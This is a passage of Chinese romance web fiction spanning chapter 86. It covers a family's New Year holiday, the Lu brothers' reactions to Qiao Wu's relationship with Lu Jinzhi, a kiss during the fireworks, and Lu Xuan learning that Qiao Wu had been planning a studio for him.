陆应池也觉得自己不太厚道,过去的事情就不要再提了,可他没有任何人可以说,这个时候也实在顾及不了太多了,如果不能解决,他真的会忍不住。 所以他选择冒犯一下陈彩文。 “先跟你说声抱歉。”他舔了下干燥的唇,“这些话可能有点冒犯。” 陈彩文还是第一次见他这么扭捏,乐了:“你说。” 陆应池干脆也没再绕弯子:“我今天听他们说,你以前对我有点意思。” 这个问题的确有点突然,陈彩文愣了一下,而后坦然点头:“是。” 又说:“但你不用放在心上,我已经放下了。” “为什么?”陆应池急切地问,“为什么就能突然放下,怎么才能放下?” 喜欢的事怎么能说不喜欢就不喜欢了呢。 虽然他一直没说,可事实上在费景明跟他聊天的那些时间里,他自己也多少能够反应过来。 他跟乔梧认识这么多年,算得上知根知底,也习惯追逐在她身后的日子。 像她这样的人,没有谁不喜欢。 但他知道自己没本事,配不上,所以他一直以来就觉得自己能跟在她身边就行。 可真到了这么一天,他还是没有办法劝说自己接受。 她不是他的,也不该是任何一个人的。 如果真的有了其他人,那他要怎么办呢。 看陆应池那么着急,陈彩文安静了好一会儿才琢磨明白些什么,她笑道:“可能是因为,我其实没喜欢你。” 陆应池懵了:“什么?” “陆应池,你对自己的了解不是很清晰。”陈彩文说,“在我们这个年纪,遇到一个你这种长得帅又很有钱还很有义气的人,喜欢你的人很多这不是一件很奇怪的事情,而且你的性格的确很好很直率。” “但是喜欢分为很多种,我后来想了想,那段时间我对你那么上头,很大部分的原因是因为吊桥效应。”她很认真地说,“我们去秋游的时候你跳进水里救我的样子特别帅,所以我很心动,如果我能在这种时候跟你这样的一个人谈恋爱,那的确是一件很不错的事情,但如果谈不上,好像也没有太失落,毕竟你这种人跟我就不是一个阶层的,把你当做偶像当做朋友其实也一样很满足。” 说着,她回头看了一眼等待自己的男朋友,又说:“但你看马尧,他跟你是截然不同的性格,没你帅也没你有钱,甚至还有很多小缺点,但我看着他的时候就是跟看你完全不一样的感觉,我喜欢跟他亲密接触,看到他是跟你完全不同的心动。” “喜欢你的时候可能更像是追星吧,换做是另一个人那天给了我帮助,或是像你一样耀眼,很可能我就追其他人了。”她说,“但他是爱人,我能接受跟你用朋友身份相处,可对他不能,他只能是我一个人的,他的喜欢和爱也只能给我,换做任何一个人都不行。” 陆应池皱着眉。 陈彩文看着他的表情,试着问:“你是因为乔姐姐烦躁吗?” 陆应池愣了下:“很明显?” “嗯。”陈彩文点头,“之前去你家的时候,你对她的态度就很明显,我一直以为你喜欢的是她。” 所以当初她能看清楚后那么快的放下。 陆应池:“什么叫以为?” “因为你今天问出这个问题的时候,就说明不是喜欢了。”陈彩文笑着说,“如果是爱情,你不会想要放弃她的。” 不会想要放弃? 陆应池从来就没想过要拥有。 他抓了把头发,像只无头苍蝇似的乱转。 “你对她是什么想法?” “我今天发现,她可能跟另外一个人在一起了。” 陈彩文了然:“是你二哥吧。” 我靠。 陆应池目瞪狗呆:“这也能看出来?” “嗯。”陈彩文回想采访里的镜头,“你哥看她的眼神很明显,而且上次我们在你家,他也很快来把人带走了,其实爱情应该是你哥那样的,会有绝对的占有欲,一点机会都不给别人留,只要这个人属于自己那样。” 她看着陆应池:“陆应池,其实我能看出来乔姐姐对你来说很特别,但从来没在你眼里看到过像你哥那样的情绪。” 很浓重的占有,以及看爱人的情欲。 “乔姐姐对于你的存在,应该是你对于我一样。”陈彩文说,“她那么优秀,喜欢她也无可否非啊,我也喜欢。” 陆应池呆在原地,好半天都没回过神。 陈彩文:“你可以想想,是她的存在重要,还是她爱你重要。” 爱这个字太重,重到出现的一瞬间陆应池就条件反射要拒绝,他承受不起。 陈彩文说完后很快就回去了。 留下陆应池看着漆黑的海面走神。 他喜欢乔梧吗? 喜欢。 可他爱她? 他清楚的知道,爱不起。 乔梧于他而言是一盏明灯,是他前进的方向,她只要站在那里就足够了。 他也没有奢想过要独占她,所以现在也不会跟家里这些人争风吃醋。 以往听说有人要追乔梧,他恐慌害怕生气,是因为害怕乔梧会因为那些人离开。 他从来没有想过要她的爱。 要的是她的认可,她的存在。 所以那是……吊桥效应。 陆应池今天的脑子转得太多,一时之间有点超负荷了,感觉整个人都在冒烟。 好半天才隐隐从心底冒出一个荒唐的念头来。 但陆尽之也不配啊! 那只猴除了长得好一点,有钱一点,聪明一点,还有什么好的? 等会儿。 这两人谈恋爱不会接吻吧? 乔梧能忍受吗?不会被毒死? 靠! 远处,陆柠和陆宣把烟花搬出来没看到人,找了半天才在这边找到陆应池,站在黑灯瞎火的地方吓唬人:“陆应池,烟花来了,快过来!” 陆应池应了一声,提着那些礼物走近,把袋子甩到陆柠怀里:“陈彩文给的 。” “噢!”陆柠确定他的情绪没有之前那么差了,这才低头看了看,“替我谢谢她。” 因为要出来看烟花,连陆江和乔知义都出来了,陆应池看了一圈没看到那只猴和乔梧。 他心里顿时警惕起来。 “乔梧和陆尽之呢?” “你把酒瓶打翻了。”陆柠说,“他们去换衣服。” 陆应池:“换个衣服要两人一起去?” 陆柠:“……有没有可能他们住在同一层呢?” 呵。 同一层。 乔梧一定是夹带私货了。 陆应池现在心情很差,不仅是因为这两人背着所有人干大事,还因为陆尽之那只猴在他心里啥也不是。 他撸起袖子:“我去看看。” 此时的乔梧才刚换完衣服,她头发上也沾了酒,所以多洗了个头,还没来得及吹头发门就被敲响了。 她走过去打开门,陆尽之站在门外,换的衣服比白天还要精致一点,黑色衬衫领口别了颗宝石。 她松开门把手让人进来,靠在旁边的置物桌上笑道:“又开花了,有什么计划?” 陆尽之反手关上门,“好久没跟呜呜一起看烟花了。” “也就你还有心情。”乔梧擦着头发说,“陆应池被你气死了吧。” 陆尽之丝毫不遮掩自己的私心和故意,接过乔梧手里的毛巾在她头上轻轻擦拭:“也该长大了。” 乔梧垂着头方便他的动作,这个姿势入目便是陆尽之的锁骨和喉结。 他这人的确很懒,也很少出去晒太阳,所以比起陆宣和陆应池肤色要冷白一些。 蓝色的宝石跟他的皮肤相衬起来的确漂亮到不行。 她盯着看了会儿:“如果他接受不了怎么办?” 陆尽之:“不会。” 乔梧抬眼:“这么肯定?” “嗯。”陆尽之手里的毛巾往下,轻轻包裹住她的耳朵揉了下,与她对上视线,“不然刚才就掀桌了。” 想了想陆应池的性格,乔梧发现还真是。 沈延出现的时候,他们就直接把人给团团围住,还很直白地跟她表示过不同意,不会拐弯抹角。 她正走着神,可耳垂却被陆尽之反复揉捏,他一只手覆在她的脑后,将毛巾往上轻轻一提,迫使她抬起头来。 “现在是他自己考虑的事。”陆尽之笑道,“呜呜不如想想我?” “想你什么?” “想想我会给你什么新年礼物。” 乔梧已经过了收红包的年纪,所以也没做什么打算和期待自己会有新年礼物,她好奇地往陆尽之身上看了看。 他衣服和裤子口袋也装不了什么东西。 她好奇地问:“什么?” 忽而,她耳垂被轻轻扯了一下。 有什么东西沾着体温落在她平时戴耳饰的地方。 最近度假,她都没怎么戴那些东西,所以耳朵是空的。 陆尽之没有立刻给她戴上,而是摊开一直虚虚合着的掌心,上面是一颗跟他领口同样颜色的蓝色宝石星星状的耳钉。 幽蓝色的,果然她没看错,的确很神秘漂亮。 陆尽之低声问:“要戴上吗?” “你连盒子都没拿过来。”乔梧看穿他的想法,“不就是要我戴上么?” 陆尽之低笑,他放下毛巾,俯身离得近了些,将那枚耳钉轻轻在柔软的耳垂上轻轻戴上。 “好看。”他说。 门口有个穿衣镜,乔梧越过他的肩膀,可以看到自己耳朵上的耳饰。 陆尽之的眼光向来不错,她真的很喜欢。 “这么漂亮的新年礼物,看来今晚得给你一个大红包。” 陆尽之说:“不缺钱。” 他的手依旧停在她的耳后,一下又一下的撩拨着碰她:“用别的抵?” 乔梧视线从镜子上收回来,抬眸望他。 撞进那双漆黑幽深的眸子里,她忽然反应过来:“陆尽之,你算好的吧?” 陆尽之笑了,笑得比他领口的宝石都要漂亮。 他低下头在她耳朵处,像是在吻她的耳钉,却又像是在吻她的耳垂。 又贴着她的耳朵用只有两人能听到的声音说:“你说是就是。” 虽然用毛巾擦了头发,可是摸着头发还是有未干的湿意。 陆尽之指尖沾染了洗发水的味道,他鼻尖在她耳朵上轻轻触碰:“呜呜好香。” 乔梧很庆幸自己是靠在桌子上的,否则她会有些站不稳。 她揪住陆尽之的衣服:“烟花要开始了,我们先下去。” “不急。” 他温热的唇从耳朵那里挪到乔梧的侧脸,再到她的眼皮。 乔梧被刺激得下意识闭上眼睛。 她听见一声轻笑。 温热的触感来到她的鼻尖,乔梧指尖骤然收紧,这种将落未落的感觉让她十分难受。 她刚要开口,却忽然听到门外传来敲门的声音。 不是她的门,是陆尽之那边的门。 她忽然睁开眼睛。 陆尽之显然也听到了,但他表情变都没变一下,指腹依旧在她耳后作乱。 乔梧直接看到他眼里浓烈的情欲和爱意,她轻轻抿了下唇,开口:“陆……” 像是等待许久,在她启唇的一瞬间陆尽之瞬间拉进了两人的距离,唇瓣贴了上来,不给她任何反抗的机会长驱直入。 乔梧猝不及防发出一声轻哼。 陆尽之低垂着眼,眸色比平时都要深,似乎还盈着水汽,他亲吻的动作很缓,却又十分强势,不给人任何逃离的空间。 他一边又深又重地亲着,另一只手将她从桌前捞到自己怀里,在门外越来越近的脚步声中抱着她转了个方向,抵在门上。 啪嗒一声反锁上门。 两人身体严丝合缝地贴在一起。 她和他在门后接吻。 在门被敲响的那一瞬间,陆尽之咬着她的唇再次深深探进,堵住她所有的声音。 第86章 第八十六章公主不用知道 这一瞬间乔梧心如擂鼓,她背靠着门板,外面的敲门声带着门板都在颤动。 而她身前,是把她死死压着让她无法逃脱的陆尽之,她的心跳好像在这一刻跟敲门声、跟陆尽之的声音融为一体。 她少有思绪这么混乱又不知所措的时候,明明想要把陆尽之抵出去,却又被他变本加厉地缠住,勾得她手脚发软,却又不敢发出任何声音。 门口陆应池的声音传进来:“乔梧?” 乔梧吓得瞬间扯住陆尽之的衣服,换来对方在自己唇间一声又沉又低的轻笑。 这一声非但没有换回陆尽之的良知,反而让他更加肆无忌惮地将人搂紧,呼吸声和亲吻声都在这一瞬间杂糅在一起,乔梧意识都模糊了。 门外的陆应池喊了很久都没人给他开门,还以为自己是跟乔梧她们错开了,只好作罢转身下楼。 没有了任何 顾忌的陆尽之此时反而变得温和下来,就像他平时那么粘人一样,在她唇面上轻啄辗转,呼吸声变得比以往都更加明显沉重。 他哑声说:“果然好香。” 乔梧心情瞬间大起大落,这个时候干脆懒得挣扎了,任由自己靠在门板上,被陆尽之托着腰抱着。 轻轻喘息几口给了自己一个缓神的空间:“陆尽之,你真的坏透了。” 被骂了的陆尽之也欣然接受,笑着重复在机场那句话:“呜呜以为我是什么好人?” 忽而窗外传来烟花破空的声音,乔梧看到陆尽之身后的夜里绽放出五颜六色的绚丽。 她抬手揪住了陆尽之的耳朵,将还想要继续的他往后拉了些,将他的头转过去:“看,过年了陆尽之。” 烟花秀已经开始,在这儿看视野也很好。 陆尽之将她带到自己面前,牵着她来到阳台上的沙发坐下,依旧是那个单人沙发,这次的乔梧却是坐在他腿上,他从后面拥住她,下巴搭在她的肩膀,在烟花的爆鸣声中看着她被烟花映照的侧脸,温声说:“呜呜,过年好。” 摆在桌面的手机亮了一下。 是陆应池发来的消息,到处都没找到人的他只能发消息问。 电话也不能打,因为外面太吵了,听不清人说话。 乔梧拿起来打字回复:“在看了,一会儿过来。” 另一头安静了很久,又发来几个字:“你是不是跟陆尽之在一起?” 乔梧看了眼腰间的手,回了一个嗯字。 陆应池:“他有什么好。” 陆应池:“你们一定要这样吗?” 只是这两条消息很快就被撤回,紧接着一直显示“正在输入”,乔梧猜他有很多话想说,可能不知道要怎么组织语言。 今天陆尽之这么明目张胆地给他暗示,的确有点突兀。 所以她斟酌了一下,在陆应池写完小作文之前先打了一段话过去。 “好和不好比较主观,我眼里的他和你们眼里的他应该是不一样的,所以这件事谁也不能站在对方的角度去替对方做决定对不对?但是陆应池,不管我跟你哥怎么样,都不会影响我跟你们之间的关系。” 又说:“谢谢你今天克制的情绪,新年快乐陆应池。” 陆应池其实不是很快乐。 可是他看到天上那些绽放又落下的烟花,一些细碎的残留落在他的头上,带着股浓浓的硝烟味,簌簌的声音将他的情绪全都给打散了。 他以为世界会塌,但又没塌。 这个人还是像以前那样跟他好好说话,除了陆尽之,其他并没有什么不同。 他眼睛被火药灰渗进来,又疼又痒,只能胡乱揉了一通,把眼里的涩意给忍下去。 从一开始知道那个人是陆尽之,他就没打算在人前发作。 不仅因为乔梧,也因为那是陆尽之。 他再怎么诋毁陆尽之,也否认不了这是他二哥的事实,虽然他从来没喊过一声哥。 他长到十八岁能够那么无所顾忌,很大原因是因为陆尽之的容忍。 虽然拿着那些所谓的爱车跟陆尽之换钱,但归根究底买车的钱也是陆尽之给的。 从陆江到陆尽之,不管谁是公司的一把手,他们拿着陆氏的股份分红都没少过。 所以就算他还在陆尽之的黑名单里,其他时候也从来没被其他人欺负过,也只有陆尽之的这些小打小闹。 他不是白眼狼。 所也没有任何权利去阻止陆尽之或是乔梧做什么选择。 真踏马操蛋。 他也想做一次白眼狼来着。 可惜了。 “新年快乐。”陆应池缓了会儿才打字,“那只猴也是,他把我拉黑了,你转告吧。” 隔了会儿,又很不甘心地说:“一码归一码,别在我眼前亲密,我怕长针眼。” 收到消息后乔梧乐了好一会儿,把屏幕递给陆尽之看。 陆尽之只淡淡扫了一眼就把手机又放回了桌上。 只能说有了点脑子,但不多。 另外两人不知道,现在只有他知道,不嚯嚯他嚯嚯谁? “现在还担心吗?” 乔梧迟疑了一下,点点头又摇摇头。 担心是一定会担心的,只是也明白他们都是成年人了,也不能总是活在她的象牙塔里。 过去她总说这要让他们独立一点,事实上她总没那么干脆地放开手。 但经过现在这么一闹,忽然又觉得其实束手束脚的人是自己,她的确可以大胆一点。 可陆应池还好,陆宣呢。 他比陆应池要让人头疼。 见她又开始走神,陆尽之将人的脑袋转过来:“现在想想我。” 乔梧背对着他。 现在这个姿势,只能被他抵着另一边的脸,侧过头来承受住他的亲吻。 温柔又缠绵的,引人沉溺。 抵着她的鼻尖,把她眼尾生理性的湿意给吻掉,又挪回来,根本不罢休。 的确,她现在所有的思绪和感官都在陆尽之身上了。 乔梧并不抵抗亲吻这种亲密的接触,对她而言一旦转变了关系,这种接触只会让她觉得身心更对方都互相需要,不管是生理性的喜欢和心理性的喜欢,都缺一不可。 只是显然她过去的爱情理念只存在于理想中。 而陆尽之是个实战派,除了年龄上的差距,还有他学任何东西都无师自通的聪明总是能把她裹得丢盔卸甲,根本支不起任何念头。 只有一味的跟着他的引导而动作。 等乔梧再次回过神时,她已经换了个位置跟陆尽之额头抵额头,面对面地坐在他腿上。 她提不起任何力气,连手都挂不住,整个人都被陆尽之牢牢的圈着。 “不亲了。”她轻轻抵住陆尽之的唇。 有些湿意。 似乎连他的脸上都有些湿。 也不知道是汗还是被她半干的头发给沾上的水汽。 这次陆尽之格外好说话:“嗯。” 他轻轻在唇边的指尖上落下几个吻,抬手覆住她的后脑,将人往前压了压靠在自己的肩头,另一只手安抚似顺着她的后背往下轻拍,最后落在腰间。 “呜呜缓缓。” 乔梧在他肩膀上闭着眼睛缓了几秒,而后喊了一声:“陆尽之。” “嗯?” “你收敛一点。” 耳边的呼吸像是顿了片刻,然后陆尽之侧过头埋在她肩膀上笑起来,两人贴合着,连带笑的颤动都几乎是同一个频率让人感知到。 也让乔梧更加坐立不安。 她想要站起来,却被陆尽之牢牢地扣住了腰。 他笑着说:“这不是权利之一吗?” 乔梧:“……” “你忘了吗?”陆尽之在她耳畔道,“在酒店那天我就说过,我喜欢你,是基于爱情、和情欲的喜欢。” 后面的两个字被他咬得格外缓慢,也在提醒着乔梧此时此刻他的所有反应都是正常的。 但也不是很正常! 乔梧忽然有种不太好的预感,陆尽之这个人,从来都不知道委婉两个字怎么说。 果不其然,下一秒陆尽之就吻了一下她的耳朵,紧接着下移,隔着她的衣服在她肩膀上轻轻咬了一口:“那要快一点习惯才好。” 乔梧生平第一次。 差点对陆尽之冒出一句脏话。 两人不能在楼上待太久,不然一会儿不是陆应池来,就是其他人一起上来了。 乔梧把陆尽之扔在原地,自己去浴室把头发吹干。 再走出来时陆尽之又恢复了原本人模狗样的样子,没有一丝刚才在她耳畔低语的情欲。 还真是自我调节大师。 来到沙滩上时,酒店准备的烟花秀已经结束了,陆宣和陆应池带着陆柠围在自己买的烟花前琢磨找引线。 陆应池忙着要给朋友们打视频,回头看了两人一眼,又若无其事地把脑袋转回去。 这件事是他自己发现的,如果乔梧和陆尽之不说,他也不会 跟其他人说,免得到时候陆宣那傻狗引发世界大战。 到底是没他成熟。 “换件衣服那么久?”陆宣收了陆尽之一个大红包,这会儿就没太针对他,而是朝乔梧招手,“你想先放哪一个?” 乔梧走过去:“都行。” 哪怕这些东西安全,她也不太敢碰,只是插着兜看着。 蹲在地上的陆宣抬头看了她一眼,忽然觉得这个画面似曾相识。 男孩子都喜欢这些东西,小时候过年总会买一点。 但全程也只有他和陆应池放,陆应池年纪小不能碰,而陆尽之只会远远地看,乔梧会好奇,但也只是蹲在一边小心看着,也不动手。 北城的冬天很冷,她裹得像个棉球,手插在荷包里像个柔软的棉花娃娃。 而现在她虽然已经长大了,但这些小动作却跟以前一样。 陆宣忽然问:“我们多久没一起放过烟花了。” 乔梧还在专注地看着,也防止一会儿陆柠伤到自己,闻言下意识回答:“十二年。” 十二年。 又是十二年。 其实后来某一年是有打算一起放的,只不过那会儿看到那样的乔梧,他就不愿意让她跟自己待得太近了。 那个人太吵闹,太咋呼。 说着要一起出门,可脸上全是对冷空气的不满和不耐。 那一年陆宣自己放完了所有的烟花。 之后就再也没提过这件事。 想到这里,陆宣心里一直压着的那些疑惑又都冒了出来,却又毫无头绪。 “还不放吗?”陆柠在旁边问,“我的脚要蹲麻了。” “屁大点儿胆。”陆应池把陆宣扒拉开,“我来。” 陆宣顺着力道往旁边挪了挪,站起身垂眸看着乔梧的侧脸,总觉得自己忽略了什么。 火机的火苗窜出来,点燃了引线的一瞬间,陆柠大叫着往回跑。 见乔梧也站起来要回头,陆宣下意识想让她站到自己身后去。 却见乔梧几步跑到了陆尽之身边。 她不似过去那么害怕,只是虚虚借着陆尽之的半个身体挡住自己,仰头看向漆黑的天空。 陆宣有些迟钝地眨了下眼。 最后还是被陆应池给拉走的。 在烟花冲上天炸开的那一瞬间,他扭头去看乔梧,却被陆尽之的身体遮挡了个严实。 不对。 有区别。 十二年前的乔梧,不会跑到陆尽之身边。 不管怎么说,对她而言陆尽之都不会是那个靠山。 可现在她的动作自然得仿佛没有经过任何思考,潜意识就觉得那里可以依靠了。 陆柠在一旁大呼小叫,烟花的声音都盖不住她。 “我们大家都新年好噢!” 人太多,她就不一一喊过来了。 另一边的乔梧露出了自己身子,转过头来,视线在每个人身上都停留了一瞬,笑着说:“新年好。” 陆宣不太能听清楚她的声音,但好像也听到了。 跟他想象中的那样。 他忽然觉得很满足,有些紧绷的肩膀松懈下来:“新年好。” 在忙碌的空闲里,腾出两天的时间过来吃一顿饭,见几个人,看一场烟花。 比起过去那些虚无缥缈浪费掉的光阴来说,已经好上太多了。 大年初一,被窝都还没焐热的陆宣就被孟星星一个电话打过来给叫醒,让他赶紧进组。 因为拍摄的取景地下了一场瑞雪,所以剧组打算趁着这个机会把剧本里冬天的部分拍完,这种景可遇不可求,兆头还很好。 陆宣睡眼惺忪下楼,发现其他人都已经醒了,正在吃早餐。 他的行程很赶,昨天回来以后又要跟陆柠抢相机又要吃年夜饭打麻将还要放烟花,忙得连思考都要选在碎片化的时间里。 这会儿脑袋难得放空,却觉得餐厅里的画风有点割裂。 老头和老管家肩并肩挨着说话,完全没有过往那种上下级的界限了。 他们对面是陆尽之和乔梧,两人吃饭时也不知道在说什么,脑袋一会儿偏一下。 不知道食不言寝不语吗? 至于陆柠和陆应池,一个在埋头干饭,一个盯着前面的两人十分怨怼,就差把手里的刀叉直接捅过去了。 陆宣忽然有种错觉。 他离开一段时间,好像又跟不上家里的节奏了。 发生了什么事是他不知道的吗? “醒了?”乔梧看到他,“吃完早餐送你去机场。” 陆宣脸色顿时变得很差:“还送?” 他生怕这次再给他拿出什么横幅出来,搞个欢送大会,再给他拍下来,在他不在家的这段时间里成为所有人的笑料。 第一次被乔梧送,他不是很情愿。 “我们也要走。”乔梧说,“马上开年上班,有些工作要提前回去准备,顺路的。” 陆应池放下餐具:“你们?什么时候决定的事,我怎么不知道?” “你知道干什么?”陆江没好气道,“你也有工作要做?” “有啊,我要回去查资料。”陆应池理直气壮地说,“也是要参加省赛的人了。” 如果他不回去,那个家里只有陆尽之和乔梧。 这两人说不准就不知道天地为何物了。 万万不可行! 原以为他的话可以震慑一下陆尽之,没想到陆尽之心情却像是不错似的,含笑问他:“这么想去?” “昂!” “去吧。”陆尽之似笑非笑,“别后悔就行。” 陆应池皱了皱眉。 “你要不再考虑一下吧。”陆柠现在觉得自己很了解二叔了,她轻轻扯了一下陆应池的衣服,小声说,“我觉得他笑得很坏。” 的确。 但陆应池想不通,他回去会让陆尽之开心的点在哪。 直到飞机落地以后,他坐在副驾驶看到身后手牵着手的两人,彻底明白了。 他咬牙切齿:“你们当我不存在?” “你不是想看?”陆尽之挑眉,“现在你可以光明正大看个够。” 陆应池:“!” 靠! 在酒店陆尽之还收敛一点,在这儿他是演都不演了! 知道陆尽之是有意在拉低陆应池的底线,乔梧将手从他手里抽出来,在陆应池要暴走的边缘把人给制止住:“我最近很忙,别给我整幺蛾子。” 她拿出手机,想看看陆宣顺利落地没有。 但看到的是陆宣给她发了一条消息,却又撤回了。 她打字:“?” 对面很快回复:“没事,我落地了,跟助理在去剧组的路上。” 乔梧:“好,注意安全。” 陆宣那边输入了一会儿,却又停下,最后是一个电话打了过来。 乔梧觉得他有事要问,便接了起来。 “怎么了?” 那边沉默两秒才开口:“上次去藏书楼给陆柠辅导作业,我看到了很多书,里面有很多便签,是你跟陆尽之留下的,对吧?” 那些东西都是光明正大一直放在那儿的,而且很多年了,所以乔梧并不觉得有什么不能承认:“嗯。” “你……”陆宣顿了顿,又问,“你跟他一直这样?” “没有。”乔梧说,“后来我们不是出国了?” 陆宣捏着手机,喉咙发紧:“那出国之前呢?我以前一直以为你们不是很熟。” “以前是算不上太熟。”乔梧如实说,“也都是小时候留下来的,只留了这些东西。” “小时候?” 乔梧轻声应着,笑了下:“十二年前吧。” 又是十二年前。 陆宣没再说话了。 “还有问题吗?”乔梧问。 “没有。”陆宣声音很低,“我总觉得有些事情很奇怪,但不知道要从哪里入手,你也很奇怪。” 其实乔梧大概知道他在纠结什么。 陆应池和陆柠那会儿可能年纪还小,所以有 些认知比较浅显,对她的变化也总是模棱两可。 但陆宣是跟她一起长大的人,他虽然没有陆尽之那么聪明,但从一些细枝末节找到端倪也在常理之中。 她温声说:“既然想不明白的事就不用去想了,免得让自己困扰,或许哪天就清楚了呢。” 虽然她不想刻意隐瞒,但明显陆宣现在还没有做好接受这种答案的准备。 她担心他状态不好,所以现在不是说这件事的好时机。 “等你工作回来,我们再慢慢入手?” 陆宣也没有办法,只好应声下来。 挂断电话后,他打开车窗,仍由冷风把自己吹得清醒一点。 上飞机之前他是没想到这些的,可在飞机上他遇到了一个人,之前他还恨不得把那人从娱乐圈封杀。 崔斯同。 崔斯同明显是认得他的,所以在一旁坐下后打了个招呼。 原本陆宣还在看剧本,他不是很想搭理这个人,但只要一想到这个人在乔梧眼里是有分量的,所以才忍不住多看了几眼。 还主动问:“你跟乔梧很熟吗?” 崔斯同点点头又摇摇头:“不算很熟,工作上见过几面。” “你们还有工作上的交集?”陆宣问,“去她的公司?” “不是。”因为不是什么隐私,所以崔斯同也没隐瞒,“乔总想向我了解一些工作室里的事,她好像想组个工作室吧。” 陆宣完全没听说过,愣了下:“工作室?” “嗯,说是有个朋友也是艺人,所以想了解一下,以后让朋友顺利一点。”说到这个崔斯同就想笑,“其实不是什么大事,乔总为了这事儿还特意送了我一块表,以我的名义买了不少东西。” 说完好一会儿他都没听到隔壁有什么声音,疑惑回头。 发现陆宣整个人都呆在那儿了。 “陆老师?” 崔斯同喊完后自己也愣了一下。 他自己是从网剧发展过来的,所以网络上的动向一直都很关注,之前陆宣参加的那个综艺他后来工作空闲以后也去补上了,不仅是为了学习,也是为了了解新一代有哪些潜力股。 所以他也记得陆宣是跟乔梧好像是一起长大的朋友。 崔斯同试着问:“乔总说的那个朋友,是你吗?” 陆宣想说不是。 可他没有任何否认的理由。 乔梧身边没有另一个艺人可以值得她这么大费周章。 哪怕是那只鸟也不行。 他很清楚地明白,虽然寥寥对乔梧来说是一个朋友,却只是一个可以顺手帮忙那就帮,在工作和能力范围之内的帮扶。 如今寥寥是她公司里的艺人,她只要把自己的工作做好,衡量好每一个艺人的价值和能力,给寥寥该有的资源待遇,其他的就只靠着寥寥去努力争取。 乔梧不是一个冲动的人,她要做一件事就会提前很久做好安排和打算,如果要她超越工作那层关系去提前很久去打算去付出。 寥寥远远不够。 所以乔梧从来没有提过让他去她的公司这件事。 是因为她一开始就打算以后要给他弄一个工作室。 她不缺钱,更不缺能力。 一个娱乐公司而已没必要跟秦天睿一起合伙去开。 因为她对这一行的认知基本为零,如果她想要开一家公司,完全可以找一个自己擅长的领域,会大大减少时间和工作成本。 所以她为什么选中了娱乐行业呢。 “是我。”陆宣几乎是颤着声音挤出这两个字的,又喃喃地重复了一遍,“是我。” 只有我。 只能是我。 在他不知道的时候,很久以前,或许从那天回国后的初次相遇,在停车场里她说出期待他成功的那一刻,她就在为他的未来打算了。 即便是这样,哪怕他觉得自己很累,她也没有提过一次,甚至觉得他如果想要放弃也是可以的。 怎么能有这样的人啊。 小助理在一旁看着他吹风,吓得手忙脚乱:“哥,一会儿吹感冒了。” “知道。” 陆宣声音有点哑,他泄力一般仰靠着,抬手捂住了眼睛。 哪怕是这样,他连跟乔梧对话的时候,连问都不敢问出口。 只能撤回。 在有些事情上他比较迟钝,所以他下意识想要去相信陆尽之。 才会想起藏书楼那些便签,他想从陆尽之的角度去看一看乔梧这个人。 陆尽之不会愿意跟一个虚伪的人联系这么多年,更不会愿意把这个人放在自己身边,对她那么特殊。 可乔梧说,那些东西是十二年前留下的,那时的她跟陆尽之也不是很熟。 陆宣从心底忽然涌出一种很胆怯地后怕感。 “哥,你没事吧?” 陆宣哑声道:“有事。” 我好像犯了一个很大的错误。 乔梧说回去以后会跟他慢慢说,她会说什么? 陆宣第一次那么害怕见到乔梧- 最近的乔梧和陆尽之的确很忙,虽然整天一起出门一起回来,但每天都是很晚才到家。 陆应池当初想阻止这两人亲密接触的目的也没达到。 他很难想象有人谈恋爱谈成陆尽之和乔梧这种样子,到底是跟工作过还是跟爱人过,简直莫名其妙。 偌大的陆宅现在只有他和佣人们,他还有点不太习惯。 到底还是准备做点正事,去藏书楼准备比赛资料去了。 藏书楼对他来说能用的只有那些相关的专业资料,至于其他文学名著他都没什么兴趣,也没去翻看过,进门时看到陆柠最近书单里那几本书在桌上放着,他脚步顿了顿。 他都懒得看的玩意儿,陆柠那小学渣怎么每天看得那么起劲? 被陆尽之嘲讽过考大学是跟菩萨用腿交换来的他有点不服,拉开椅子坐下翻开陆柠的那些书,想看看里面到底有什么颜如玉和黄金屋。 果不其然,看了几页他就没什么兴趣了。 正要合上,忽然发现这书的厚度不太对。 他胡乱翻开,却在里面发现了好多张小小的便签。 当初被他一笔一划临摹的字迹映入眼帘,他愣了愣,不是因为乔梧的记号,而是在那张纸下,属于陆尽之的笔迹。 朋友们要签名时他说陆尽之这人的字很值钱,不仅是因为陆尽之签的那些合同,而是因为他的字也的确好看。 好看到一眼就能认出来。 虽然没有看通整本书,但陆应池也能看得出来,这些字字句句都是两人之间的互相对话。 他压着眉,又翻开另一本。 每一本都是如此。 那些对话和感悟有来有回,深深浅浅,无一不在向其他人证明,这是他们之间独有的信息传递和灵魂共鸣。 乔梧说,每个人眼里的彼此都不同,不能靠着主观去评判。 所以这是她和陆尽之眼里的彼此么? 谁能配得上乔梧? 只有乔梧认可的人才配得上。 她从很久以前,就已经认可陆尽之了。 这个认知震得陆应池许久都没缓过神,他花了几乎一整天的时间泡在藏书楼里,像是找宝藏一样去看这两人以前互相对话的证明,一字一句,不是一朝一夕,是岁岁年年。 今天的乔梧回家比较早,也没有等陆尽之去接。 因为她接到陆应池的电话,说有事跟她说,让她先自己回来。 司机的车还没停下,她远远就看到陆应池牵着公主站在主宅门口。 她很快下车走上前:“什么事?” 陆应池将马的缰绳递到她面前:“你要骑一骑公主吗?” “什么?” 乔梧愣了下。 这么冷的天骑马? “我把它养得很漂亮。”陆应池没有收回手,也不像过去那样只是随口一说,而是定定地看着她,“骑一骑吧。” 乔梧不太确定地问:“你让我自己回来,就是让我骑一骑公主?” “嗯。”陆应池很坦然地说,“不想让陆尽之骑。” 乔梧:“……” 其实以你哥那种懒蛋性子,还真不会在这个天气来吃这个苦。 虽然不太明白,但看陆应池今天这么坚持还搞这么大阵仗的样子,她也没有拒绝,把缰绳接过来,轻轻拍了拍公主的背。 她叹道:“真的很漂亮。” “那是。”陆应池说,“我也就做了这么一件事。” 这么多年来,他好像什么都没做成。 唯独把公主养得很好。 幼儿园的时候,他能把自己的小红花送给乔梧。 但现在,他只有这个了。 他转头,眼里带着很明显的期待:“上去吧。” “好。” 乔梧翻身上马,她第二次骑公主,上一次因为事发紧急,没太注意。 这一次静下心来骑在这么漂亮的马上感觉还挺酷的。 “去哪?”她问。 陆应池笑了笑:“随便。” 考虑到陆应池是步行,而且这种天气骑快马真的很冷,所以乔梧并没有加速,而是很慢地往前走:“那就去逛一逛?” “好。” 陆应池走在她身边,替她牵着绳。 乔梧垂眼问:“我一直想问,你为什么要叫它公主?” 陆应池勾着绳子,轻声说:“因为她漂亮。” 乔梧点头。 那确实。 马下的陆应池时不时抬头就能看到乔梧惬意的的神色。 